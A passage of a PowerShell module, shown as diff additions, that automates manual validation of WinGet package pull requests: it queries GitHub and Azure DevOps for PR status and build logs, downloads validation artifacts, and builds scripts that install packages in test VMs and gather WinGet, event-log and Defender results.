$Enum.char.DoubleQuote,$Enum.Char.Blank + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i Statii: $Statii"} + if ($Statii) { + $Mid = $Enum.Char.Blank | Select-Object @{n = "PR"; e = {$PR}}, @{n = "Date"; e = {$Date}}, @{n = "Statii"; e = {$Statii}} + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i Mid: $Mid"} + $Out += $Mid + } + } + Return $Out +} + +Function Get-ADOLastStatus { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$WaitingMinutes + ) + Process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ADOLastStatus $PR"}; + $Statii = Get-ADOValidationStatus -PR $PR + $Last = $Statii[$Enum.Index.Last] + if ($Last.Statii -match $Enum.ADOValidationStatus.InProgress) { + $TotalMinutes = ((get-date) - (get-date $Last.Date)).totalminutes + if ($TotalMinutes -gt 180) {#3 hour timeout + Write-Host "ADOLastStatus InProgress Reply-ToPR $PR" + Reply-ToPR -PR $PR -body $Enum.Strings.WingetbotRun + } else { + Write-Host "ADOLastStatus $($PR): $TotalMinutes" + } + } else { + if ($Last.Statii -match $Enum.ADOValidationStatus.Waiting) { + if ($TotalMinutes -gt $WaitingMinutes) { + Write-Host "ADOLastStatus Waiting Reply-ToPR $PR" + Reply-ToPR -PR $PR -body $Enum.Strings.WingetbotRun + } + } else { + Write-Host "ADOLastStatus $($PR): $($Last.Statii -join ' ')" + } + } + }#end Process +} + +Function Get-PRStateFromAPI { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Data = (Get-CheckData -PR $PR2) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromAPI $PR2"}; + $in = (($Data | where {$_.name -match "Installation Validation"}).output.text -split $Enum.Char.LineBreak) + $out = @() + $in[$Enum.Num.Two..($in.Count -$Enum.Num.Two)] -replace "Status: " | %{ + $Date, $time, $event = $_.split(' '); + $event = $event -join $Enum.Char.Space + $mid = $Enum.Char.Blank | Select-Object @{n = $Enum.Words.Event; e = {$event}},@{n = $Enum.Strings.CreatedAt; e = {Get-Date "$Date $time"}} + $out += $mid + } + return $out +} + +Function Get-PRFailData { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Data = (Get-CheckData -PR $PR2) + ) + process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRFailData $PR2"}; + $in = ($Data | where {$_.name -match "`\. "} | where {$_.conclusion -match $Enum.PRCheckStates.Failure}) + $out = $in.output.text -split $Enum.Char.LineBreak + return $out + } +} + +Function Get-ParseGHAppData { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Data = (Get-PRFailData -PR $PR2) + ) + Process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ParseGHAppData $PR2"}; + $out = $Enum.Char.Blank + [array]$h3 = ($Data | Select-string '###').LineNumber + + $chunks = $Data.split($h3) + foreach ($Location in $h3) { + $Location = $Location -1 + $out = $out | Select-Object *, @{n = 'New Property'; e = {23}}, @{n = $Enum.Words.Something; e = {$false}} + } + $start = ($Data | select-string '```log').LineNumber + $end = ($Data | select-string '```').LineNumber + + $mid = $Data.output.text -split $Enum.Char.LineBreak + $out = $out | Select-Object *, @{n = 'New Property'; e = {23}}, @{n = $Enum.Words.Something; e = {$false}} + return $out + } +} + +Function Get-PRStateFromBoth { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $PRStateFromAPI = (Get-PRStateFromAPI -PR $PR2), + $PRStateFromComments = (Get-PRStateFromComments -PR $PR2) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromBoth $PR2"}; + $out = $PRStateFromAPI + $PRStateFromComments | sort $Enum.Strings.CreatedAt + Return $out +} + +Function Get-DownloadADOFile { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [string]$DestinationPath = "$MainFolder\Installers", + [string]$LogPath = "$DestinationPath\ValidationResult\", + [string]$ZipPath = "$DestinationPath\ValidationResult.zip", + [int]$RetriesLimit = $Enum.Num.Ten, + [switch]$CleanoutDirectory, + [switch]$WhatIf, + [switch]$Force, + [switch]$Silent, + $notes = $Enum.Char.Blank + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-DownloadADOFile $PR2"}; + $PRState = Get-PRStateFromComments $PR + $FileList = $null + [int]$BackoffSeconds = 0 + [int]$Retries = 0 + $ArtfiactUrl = $Enum.Char.Blank + $DownloadSeconds = 8; + if ($PReprod) { + $BuildNumber = 1 + } else { + $BuildNumber = Get-BuildFromPR -PR $PR + } + if ($BuildNumber -gt 0) { + while ($FileList -eq $null) { + try { + #This downloads to Windows default location, which has already been set to $DestinationPath + if ($PReprod) { + $CheckData = Get-CheckData -PR $PR | where {$_.name -match "Validation Completed"} + $ArtfiactUrl = (($CheckData.output.text -split $Enum.Char.LineBreak | select-string "zip")[$Enum.Index.Last] -split $Enum.Char.DoubleQuote)[3] + } else { + $ArtfiactUrl = "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$BuildNumber/artifacts?artifactName = ValidationResult&api-version = 7.1&%24format = zip" + } + Start-Process $ArtfiactUrl + if ($WhatIf) { + Write-Host $ArtfiactUrl + } + Start-Sleep $DownloadSeconds; + [bool]$IsZipPath = (Test-Path $ZipPath) + if ($WhatIf) { + Write-Host "IsZipPath $IsZipPath" + } + if (!$IsZipPath) { + if ($Retries -ge $RetriesLimit) { + $UserInput = "No logs after $Retries retries." + if ($WhatIf) { + Write-Host "Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" + } else { + $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated + } + Open-PRInBrowser -PR $PR + Write-Host $UserInput + Break; + } else { + Write-Host "Retry $Retries of $RetriesLimit" + } + $Retries++ + } + Remove-Item $LogPath -Recurse -ErrorAction Ignore + Expand-Archive $ZipPath -DestinationPath $DestinationPath; + Remove-Item $ZipPath + if ($CleanoutDirectory) { + Get-ChildItem $DestinationPath | Remove-Item -Recurse + } + $FileList = (Get-ChildItem $LogPath).FullName + } catch { + if ($BackoffSeconds -gt 60) { + $UserInput = "Build $BuildNumber not found." + } + $AddSeconds = Get-Random -min $Enum.Num.One -max 5 + $BackoffSeconds += $AddSeconds + $BackoffSeconds += $AddSeconds + Write-Host "Can't access $DestinationPath or a subfolder. Backing off another $AddSeconds seconds, for $BackoffSeconds total seconds." + sleep $BackoffSeconds + } + } + } +} + +#ADO Build +Function Get-BuildFromPR { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $content = (Invoke-GitHubPRRequest -PR $PR2 -Method $Enum.PRRequestMethods.Get -Type $Enum.PRRequestTypes.Comments -Output Content), + # [array]$href = ($content.body | where {$_ -match $Enum.Strings.ValidationPipelineRun}) + [array]$href = ($content.body | where {$_ -match $Enum.Strings.BuildLinkComment}) + ) + process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-BuildFromPR $PR2"}; + $href = ($href -split $Enum.Char.LineBreak)[$Enum.Index.Last] + # [int]$LineNo = ($content.body | Select-String $Enum.Strings.BuildLinkComment).LineNumber[$Enum.Index.Last] + # $href = ($href -split $Enum.Char.LineBreak)[$LineNo - 1] + $PRbuild = (($href -split $Enum.Char.Equal -replace $Enum.Char.EscapedOpenParens)[$Enum.Index.Second]) + return $PRbuild + } +} + +Function Get-LineFromBuildResult { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $PRbuild = (Get-BuildFromPR -PR $PR2), + $LogNumber = (36), + $SearchString = $Enum.MagicStrings[7], + $content = (Invoke-GitHubRequest "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$PRbuild/logs/$LogNumber" -ProgressAction SilentlyContinue).content, + $Log = ($content -join $Enum.Char.Blank -split $Enum.Char.LineBreak), + $MatchOffset = (-1), + $MatchLine = (($Log | Select-String -SimpleMatch $SearchString).LineNumber | where {$_ -gt 0}), + $Length = 0, + $output = @() + ) + process { + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-LineFromBuildResult $PR2"}; + foreach ($Match in $MatchLine) { + $output += ($Log[($Match + $MatchOffset)..($Match + $Length + $MatchOffset)]) + } + if (($output -join $Enum.Char.Space) -match $Enum.Strings.ManifestTypeSingleton) { + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.MSD + } + return $output + } +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################ - Network - ################################# +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +#GET = Read; POST = Append; PUT = Write; DELETE = delete +Function Invoke-GitHubRequest { + Param( + [Parameter(Mandatory)][string]$Uri, + [string]$Body, + [ValidateScript( { $_ -in (Get-Keys $Enum.PRRequestMethods)} )][string]$Method = $Enum.PRRequestMethods.Get, + $Headers = @{$Enum.GitHubRequestHeaders.AuthorizationKey = "Bearer "+(Get-GHT); $Enum.GitHubRequestHeaders.AcceptKey = $Enum.GitHubRequestHeaders.AcceptValue; $Enum.GitHubRequestHeaders.ApiKey = $Enum.GitHubRequestHeaders.ApiValue}, + [switch]$JSON, + $out = $Enum.Char.Blank + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Invoke-GitHubRequest $Uri"}; + if ($Body) { + try { + $out = (Invoke-WebRequest -Method $Method -Uri $Uri -Headers $Headers -Body $Body -ContentType application/json -ProgressAction SilentlyContinue) + } catch { + # Write-Output ("Error: $($error[$Enum.Index.First].ToString()) - Uri $Uri - Body: $Body") + $out = ("Error: $($error[$Enum.Index.First].ToString()) - Uri $Uri - Body: $Body") + if ($out -match $Enum.Strings.ApiRateLimitExceeded) { + Get-GitHubTimeout + } + + } + } else { + try { + $out = (Invoke-WebRequest -Method $Method -Uri $Uri -Headers $Headers -ProgressAction SilentlyContinue) + } catch { + $out = ("Error: $($error[$Enum.Index.First].ToString()) - Uri $Uri - Body: $Body") + if ($out -match $Enum.Strings.ApiRateLimitExceeded) { + Get-GitHubTimeout + } + } + } + + if ($out -match $Enum.Strings.ApiRateLimitExceeded) { + Get-GitHubTimeout + } + #GitHub requires the value be the .body Property of the variable. This makes more sense with Curl, where this is the -data parameter. However with Invoke-WebRequest it's the -Body parameter, so we end up with the awkward situation of having a Body parameter that needs to be prepended with a body Property. + #if (!($Silent)) { + if (($JSON)){# -OR ($Output -eq $Enum.PRRequestOutput.Content)) { + try {$out | ConvertFrom-Json} catch {$out} + } else { + $out + } + #} + Start-Sleep $GitHubRateLimitDelay; +} + +Function Check-PRInstallerStatusInnerWrapper { + Param( + $Url, + $Out = $Enum.Char.Blank + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Check-PRInstallerStatusInnerWrapper $Uri"}; + try { + $Out = (Invoke-GitHubRequest $Url -Method $Enum.PRRequestMethods.Head -ErrorAction SilentlyContinue -ProgressAction SilentlyContinue).StatusCode + } catch {} + return $Out +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +######################### - Validation Starts Here - ######################### +######################### - Validation Starts Here - ######################### +######################### - Validation Starts Here - ######################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Get-TrackerVMValidate { + Param( + $QueryClipboard = (Get-QueryClipboard $Enum.ClipboardQueries.TrackerVMValidate), + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = (Get-OSFromVersion), + [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData ((Get-NextFreeVM -OS $OS) -replace$Enum.Strings.Vm,$Enum.Char.Blank)), + [ValidateScript( { $_ -in (Get-Keys $Enum.PRTrackerOperations) } )][string]$Operation = $Enum.PRTrackerOperations.Scan, + [int]$PR = ($QueryClipboard.PRNumber), + [string]$ManualDependency, + [string]$PackageIdentifier = ($QueryClipboard.PackageIdentifier), + [string]$PackageVersion = ($QueryClipboard.PackageVersion), + [string]$RemoteFolder = "//$remoteIP/ManVal/vm/$VM", + [string]$installerLine = "--manifest $RemoteFolder/manifest", + [string]$InstallerType, + [string]$Locale, + [ValidateScript( { $_ -in (Get-Values $Enum.Arch) } )][string]$Arch, + [ValidateScript( { $_ -in (Get-Keys $Enum.ManifestScope) } )][string]$Scope, + [switch]$InspectNew, + [switch]$notElevated, + [switch]$NoFiles, + [switch]$Display, + [switch]$Force, + [switch]$Silent, + [switch]$PauseAfterInstall, + [switch]$NoStaleCheck, + [string]$optionsLine = $Enum.Char.Blank + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidate $VM"}; + Write-Host "Starting Manual Validation build $build on vm$VM for package $PackageIdentifier version $PackageVersion in PR $PR" + # Get-TrackerVMSetStatus $Enum.VMStatus.Prevalidation $VM -PackageIdentifier $PackageIdentifier -PR $PR -Silent + <#Sections: + Construct WinGet args string and populate script variables. + - If Configure - skip all of this and just add the Configure file as the WinGet arg. + Construct the VM script from the script variables and output to commands file. + - If Configure - Construct a similar script and perform the same output. + Construct the manifest from the files in the clipboard. + - If NoFiles, skip. + Perform new package inspection. + - If not InspectNew, skip. + Revert selected VM and launch its window. + #> + + if (($PackageIdentifier) -AND ($PackageIdentifier -ne $Enum.ManifestKeys.PackageIdentifier)) { + Test-Admin + + #Check if PR is open + $PRState = Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content + if ($Display) {Write-Host "PRState $PRState"}; + + + $LabelList = (Invoke-GitHubPRRequest -PR $PR -Type labels -Output $Enum.PRRequestOutput.Content).name + $JoinLabels = ($LabelList -join $Enum.Char.Space) + if ($Display) {Write-Host "JoinLabels $JoinLabels"}; + if ($Force -OR + !(($JoinLabels -match $Enum.PRLabels.MA) -AND + ($JoinLabels -match $Enum.PRLabels.CR) -AND + ($JoinLabels -match $Enum.PRLabels.NP)) -OR + ($PRState.merged -ne $False) -OR + ($PRState.state -ne $Enum.PRStates.Open)) { + if ($VM -eq 0){ + Write-Host "No available $OS VMs"; + Get-PipelineVmGenerate -OS $OS; + #Break; + } + $PackageMode = $Enum.VmModes.Unknown + if ($JoinLabels -match $Enum.PRLabels.NP) { + $PackageMode = $Enum.VmModes.New + } elseif ($JoinLabels -match $Enum.PRLabels.NM) { + $PackageMode = $Enum.VmModes.Existing + } else { + Write-Host "No Package/Manifest label in JoinLabels: $JoinLabels checking source..." + if ($null -match (Get-ManifestVersion $PackageIdentifier)) { + $PackageMode = $Enum.VmModes.New + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NP + Get-removePRLabel -PR $PR -LabelName $Enum.PRLabels.NM + } else { + $PackageMode = $Enum.VmModes.Existing + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.NM + Get-removePRLabel -PR $PR -LabelName $Enum.PRLabels.NP + } + } + Write-Host "PackageMode: $PackageMode" + + if ((($valMode -match $Enum.TrackerModes.NoNew) -AND ($PackageMode -eq $Enum.VmModes.New)) -OR + (($valMode -match $Enum.TrackerModes.OnlyNew) -AND ($PackageMode -eq $Enum.VmModes.Existing))) { + $PackageIdentifier = $Enum.Char.Blank + return $Enum.Char.Blank + } + + $PostInstallPause = $Enum.Char.Blank + if ($PauseAfterInstall) { + $PostInstallPause = "Read-Host 'Install complete, press ENTER to continue...'" + } + if ($Silent) { + Get-TrackerVMSetStatus -Status $Enum.VMStatus.Prevalidation $VM -PackageIdentifier $PackageIdentifier -PR $PR -Mode $PackageMode -Silent + } else { + Get-TrackerVMSetStatus -Status $Enum.VMStatus.Prevalidation $VM -PackageIdentifier $PackageIdentifier -PR $PR -Mode $PackageMode + } + if ((Get-VM ("vm$VM")).state -ne $Enum.PRTrackerStates.Running) {Start-VM ("vm$VM")} + + $logLine = "$OS " + $nonElevatedShell = $Enum.Char.Blank + $logExt = "log" + $VMFolder = "$MainFolder\vm\$VM" + $manifestFolder = "$VMFolder\manifest" + $CmdsFileName = "$VMFolder\cmds.ps1" + + if ($Operation -eq $Enum.PRTrackerOperations.Configure) { + if (!($Silent)) {Write-Host "Running Manual Config build $build on vm$VM for ConfigureFile"} + $wingetArgs = "configure -f $RemoteFolder/manifest/config.yaml --accept-configuration-agreements --disable-interactivity" + $Operation = $Enum.PRTrackerOperations.Configure + $InspectNew = $False + } else { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Manual -Title $PRtitle + if ($PackageIdentifier -eq $Enum.Char.Blank) { + Write-Host "Bad PackageIdentifier: $PackageIdentifier" + #Break; + $PackageIdentifier | clip + } + if (!($Silent)) {Write-Host "Running Manual Validation build $build on vm$VM for package $PackageIdentifier version $PackageVersion"} + + if ($PackageVersion) { + $logExt = $PackageVersion+"." + $logExt + $logLine += "version $PackageVersion " + } + if ($Locale) { + $logExt = $Locale+"." + $logExt + $optionsLine += " --locale $Locale " + $logLine += "locale $Locale " + } + if ($Scope) { + $logExt = $Scope+"." + $logExt + $optionsLine += " --scope $Scope " + $logLine += "scope $Scope " + } + if ($InstallerType) { + $logExt = $InstallerType+"." + $logExt + $optionsLine += " --installer-type $InstallerType " + $logLine += "InstallerType $InstallerType " + } + $Archs = $QueryClipboard.Architecture + $archDetect = $Enum.Char.Blank + $archColor = $Enum.PSColors.Yellow + if ($Archs) { + if ($Archs[$Enum.Index.First].Length -ge $Enum.Num.Two) { + if ($Arch) { + $archDetect = "Selected" + } else { + $Arch = $Archs[$Enum.Index.First] + $archDetect = "Detected" + } + $archColor = $Enum.PSColors.Red + } else { + if ($Archs -eq "neutral") { + $archColor = $Enum.PSColors.Yellow + } else { + $Arch = $Archs + $archDetect = "Detected" + $archColor = $Enum.PSColors.Green + } + } + } + if ($Arch) { + $logExt = $Arch+"." + $logExt + if (!($Silent)) {Write-Host "$archDetect Arch $Arch of available architectures: $Archs" -f $archColor} + $logLine += "$Arch " + } + $MDLog = $Enum.Char.Blank + if ($ManualDependency) { + $MDLog = $ManualDependency + if (!($Silent)) {Write-Host " = = = = Installing manual dependency $ManualDependency = = = = "} + [string]$ManualDependency = "Out-Log 'Installing manual dependency $ManualDependency.';Start-Process 'winget' 'install " + $ManualDependency+" --accept-package-agreements --ignore-local-archive-malware-scan' -wait`n" + } + if ($notElevated -OR $QueryClipboard.ElevationRequirement) { + if (!($Silent)) {Write-Host " = = = = Detecting de-elevation requirement = = = = "} + $nonElevatedShell = "if ([bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match 'S-1-5-32-544')){& explorer.exe 'C:\Program Files\PowerShell\7\pwsh.exe';Stop-Process (Get-Process WindowsTerminal).id}" + #If elevated, run^^ and exit, else run cmds. + } + $packageName = ($PackageIdentifier -split "[.]")[$Enum.Index.Second] + $wingetArgs = "install $optionsLine $installerLine --accept-package-agreements --ignore-local-archive-malware-scan" + } + $cmdsOut = $Enum.Char.Blank + + switch ($Operation) { + $Enum.PRTrackerOperations.Configure { + $cmdsOut = "$nonElevatedShell + `$TimeStart = Get-Date; + `$ConfigurelLogFolder = `"$SharedFolder/logs/Configure/$(Get-Date -UFormat %B)/`$(Get-Date -Format dd)`" + Function Out-Log ([string]`$logData,[string]`$logColor = 'cyan') { + `$TimeStamp = (Get-Date -Format $($Enum.Char.T)) + ': '; + `$logEntry = `$TimeStamp + `$logData + Write-Host `$logEntry -f `$logColor; + md `$ConfigurelLogFolder -ErrorAction Ignore + `$logEntry | Out-File `"`$ConfigurelLogFolder/$PackageIdentifier.$logExt`" -Append -Encoding unicode + }; + Function Out-ErrorData ([array]`$errArray,[string]`$serviceName,`$errorName = 'errors') { + Out-Log `"Detected `$(`$errArray.Count) `$serviceName `$(`$errorName): `" + `$errArray | ForEach-Object {Out-Log `$_ 'red'} + }; + Get-TrackerVMSetStatus 'Installing' + Out-Log ' = = = = Starting Manual Validation pipeline build $build on VM $VM Configure file $logLine = = = = ' + + Out-Log 'Pre-testing log cleanup.' + Out-Log 'Clearing PowerShell errors.' + `$Error.Clear() + Out-Log 'Clearing Application Log.' + Clear-EventLog -LogName Application -ErrorAction Ignore + Out-Log 'Clearing WinGet Log folder.' + `$WinGetLogFolder = 'C:\Users\User\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir' + rm `$WinGetLogFolder\* + Out-Log 'Gathering WinGet info.' + `$info = winget --info + Out-ErrorData @(`$info[0],`$info[3],`$info[4],`$info[5]) 'WinGet' 'infos' + + Out-Log `"Main Package Configure with args: $wingetArgs`" + `$mainpackage = (Start-Process 'winget' '$wingetArgs' -wait -PassThru); + + Out-Log `"`$(`$mainpackage.processname) finished with exit code: `$(`$mainpackage.ExitCode)`"; + If (`$mainpackage.ExitCode -ne 0) { + Out-Log 'Install Failed.'; + explorer.exe `$WinGetLogFolder; + Out-ErrorData ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object {Get-Content `$_ |Where-Object {`$_ -match '[[]FAIL[]]' -OR `$_ -match 'failed' -OR `$_ -match 'error' -OR `$_ -match 'does not match'}}) 'WinGet' + Out-ErrorData '$MDLog' 'Manual' 'Dependency' + Out-ErrorData `$Error 'PowerShell' + Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' + + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for Configure file $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'ValidationCompleted' + Break; + } + Read-Host 'Configure complete, press ENTER to continue...' #Uncomment to examine installer before scanning, for when scanning disrupts the install. + + Get-TrackerVMSetStatus 'Scanning' + + `$WinGetLogs = ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object {Get-Content `$_ |Where-Object {`$_ -match '[[]FAIL[]]' -OR `$_ -match 'failed' -OR `$_ -match 'error' -OR `$_ -match 'does not match'}}) + `$DefenderThreat = (Get-MPThreat).ThreatName + + Out-ErrorData `$WinGetLogs 'WinGet' + Out-ErrorData `$Error 'PowerShell' + Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' + Out-ErrorData `$DefenderThreat `"Defender (with Security Intelligence version `$((Get-MpComputerStatus).QuickScanSignatureVersion))`" + + Out-Log `" = = = = Completing Manual Validation pipeline build $build on VM $VM for Configure file $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'ValidationCompleted' + + " + }#end Configure + $Enum.PRTrackerOperations.Scan { + $cmdsOut = "$nonElevatedShell + `$TimeStart = Get-Date; + `$explorerPid = (Get-Process Explorer).id; + `$removetoken = 'REMOVEDELETEREMOVEDELETE' + `$ManValLogFolder = `"$SharedFolder/logs/$(Get-Date -UFormat %B)/`$(Get-Date -Format dd)`" + `$WinGetLogFolder = 'C:\Users\User\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\DiagOutputDir' + Function Out-Log ([string]`$logData,[string]`$logColor = 'cyan') { + `$TimeStamp = (Get-Date -Format $($Enum.Char.T)) + ': '; + `$logEntry = `$TimeStamp + `$logData + Write-Host `$logEntry -f `$logColor; + md `$ManValLogFolder -ErrorAction Ignore + `$logEntry | Out-File `"`$ManValLogFolder/$PackageIdentifier.$logExt`" -Append -Encoding unicode + }; + Function Out-ErrorData ([array]`$errArray,[string]`$serviceName,`$errorName = 'errors') { + Out-Log `"Detected `$(`$errArray.Count) `$serviceName `$(`$errorName): `" + `$errArray | ForEach-Object {Out-Log `$_ 'red'} + }; + Function Get-TrackerProgress { + Param( + `$File, + `$Activity, + `$Hunkrementor, + `$Length, + `$Percent = [math]::round(`$Hunkrementor / `$length*100,2) + ) + }; + Get-TrackerVMSetStatus -Status 'Installing' -Package $PackageIdentifier -PR $PR + + Out-Log ' = = = = Starting Manual Validation pipeline build $build on VM $VM $PackageIdentifier $logLine = = = = ' + + Out-Log 'Pre-testing log cleanup.' + Out-Log 'Upgrading installed applications.' + Out-Log (WinGet upgrade --all --include-pinned --disable-interactivity) + Out-Log 'Clearing PowerShell errors.' + `$Error.Clear() + Out-Log 'Clearing Application Log.' + Clear-EventLog -LogName Application -ErrorAction Ignore + Out-Log 'Clearing WinGet Log folder.' + rm `$WinGetLogFolder\* + Out-Log 'Updating Defender Security Intelligence version.' + Update-MpSignature + Out-Log 'Gathering WinGet info.' + `$info = winget --info + Out-ErrorData @(`$info[0],`$info[3],`$info[4],`$info[5]) 'WinGet' 'infos' + + `$InstallStart = Get-Date; + Out-Log 'Starting preinstall filescan.' + `$PReinstallFilesystem = &cmd /c 'dir C:\ /b /s' + `$PReinstallFileCount = `$PReinstallFilesystem.Count + Out-Log `"Completing preinstall filescan. Read `$PReinstallFileCount files.`" + $ManualDependency + Out-Log `"Main Package Install with args: $wingetArgs`" + `$mainpackage = (Start-Process 'winget' '$wingetArgs' -wait -PassThru); + Out-Log `"Install finished with exit code: `$(`$mainpackage.ExitCode)`"; + `$SleepSeconds = 15 #Sleep a few seconds for processes to complete. + if ((`$InstallStart).AddSeconds(`$SleepSeconds) -gt (Get-Date)) { + sleep ((`$InstallStart).AddSeconds(`$SleepSeconds)-(Get-Date)).totalseconds + } + `$InstallEnd = Get-Date; + + If (`$mainpackage.ExitCode -ne 0) { + Out-Log 'Install Failed.'; + explorer.exe `$WinGetLogFolder; + + `$WinGetLogs = ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object { + Get-Content `$_ | Where-Object { + `$_ -match '[[]FAIL[]]' -OR + `$_ -match 'failed' -OR + `$_ -match 'error' -OR + `$_ -match 'does not match' + } + }) + `$DefenderThreat = (Get-MPThreat).ThreatName + `$SigVer = (Get-MpComputerStatus).QuickScanSignatureVersion + + Out-ErrorData `$WinGetLogs 'WinGet' + Out-ErrorData '$MDLog' 'Manual' 'Dependency' + Out-ErrorData `$Error 'PowerShell' + Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' + Out-ErrorData `$DefenderThreat `"Defender (with Security Intelligence version `$((Get-MpComputerStatus).QuickScanSignatureVersion))`" + + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + + if ((`$WinGetLogs -match '\[FAIL\] Installer failed security check.') -OR + `$DefenderThreat) { + Send-SharedError -clip (`$WinGetLogs + ' ' + '`n' + 'Detection: ' + `$DefenderThreat + '`n' + 'Defender Security Intelligence version: ' + `$SigVer) + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR + } elseif ( + (`$WinGetLogs -match 'Package hash verification failed') -OR + (`$WinGetLogs -match 'Operation did not complete successfully because the file contains a virus or potentially unwanted software')){ + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Send-SharedError -clip (`$WinGetLogs + ' ') + Out-Log $WinGetLogs + Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR + } elseif ((`$WinGetLogs -match 'The multi file manifest has inconsistent field values') -OR + (`$WinGetLogs -match 'valid root file')) { + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Out-Log $WinGetLogs + Get-TrackerVMSetStatus 'Complete' -Package $PackageIdentifier -PR $PR + } elseif ((`$WinGetLogs -match 'Download request failed. Returned status: 404')) { + Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" + Out-Log $WinGetLogs + Send-SharedError -clip (`$WinGetLogs + ' ') + Get-TrackerVMSetStatus 'SendStatus' -Package 